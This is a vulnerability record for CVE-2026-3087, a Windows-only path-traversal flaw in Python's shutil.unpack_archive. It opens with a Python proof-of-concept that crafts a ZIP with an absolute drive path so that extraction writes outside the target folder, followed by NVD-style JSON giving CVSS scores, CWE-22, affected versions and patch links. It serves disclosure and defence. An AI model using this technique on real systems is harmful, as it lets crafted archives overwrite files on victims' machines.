CVE-2026-3087

import zipfile import shutil import os # Create a malicious ZIP file containing a file with an absolute path malicious_zip = "exploit.zip" evil_file_content = b"This file was written outside the extraction directory." # The ZipInfo filename uses an absolute Windows path (C:\evil.txt) # This bypasses the relative path check in vulnerable versions zip_info = zipfile.ZipInfo(filename="C:\\evil.txt") with zipfile.ZipFile(malicious_zip, mode="w") as zf: zf.writestr(zip_info, evil_file_content) print(f"Created malicious zip: {malicious_zip}") # Simulate the victim extracting the file extract_to = "./safe_folder" os.makedirs(extract_to, exist_ok=True) print(f"Extracting to: {extract_to}") # In vulnerable versions, this will write to C:\evil.txt instead of ./safe_folder/C:\evil.txt shutil.unpack_archive(malicious_zip, extract_to) print("Extraction complete. Check C:\\evil.txt.")

{"cve": {"id": "CVE-2026-3087", "sourceIdentifier": "[email protected]", "published": "2026-04-27T21:16:42.480", "lastModified": "2026-05-13T16:27:11.110", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "If `shutil.unpack_archive()` is given a ZIP archive with an absolute Windows path containing a drive (`C:\\\\...`) then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.14.4", "matchCriteriaId": "8DA90507-80E6-4412-BBC7-F4D17DF6BCD7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_1:*:*:*:*:*:*", "matchCriteriaId": "67228DC0-D765-4649-B6E8-8F7EBAEB7EF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_2:*:*:*:*:*:*", "matchCriteriaId": "E07CF00F-81B2-4087-8172-740BBE714D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_3:*:*:*:*:*:*", "matchCriteriaId": "A68837E3-120B-4FC9-8611-563BA23598E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_4:*:*:*:*:*:*", "matchCriteriaId": "D2E5A37B-6D9D-467A-9CD8-7F4AFE4A6B26"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_5:*:*:*:*:*:*", "matchCriteriaId": "05FF8695-A420-4982-950C-DF2CCCE2EBC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_6:*:*:*:*:*:*", "matchCriteriaId": "314BD287-7F00-4FDB-AA67-9EED169748CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_7:*:*:*:*:*:*", "matchCriteriaId": "E080178C-1CC3-4E11-B6D4-A74D67158F98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha_8:*:*:*:*:*:*", "matchCriteriaId": "29E9A3EE-AE9B-4F96-8D93-3E7F1C144ADB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/python/cpython/commit/ab5ef98af693bded74a738570e81ea70abef2840", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/b01e594fbe754a960212f908d047294e880b52fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/fc829e88753858c8ac669594bf0093f44948c0f4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/issues/146581", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/python/cpython/pull/146591", "source": "[email protected]", "tags" ... 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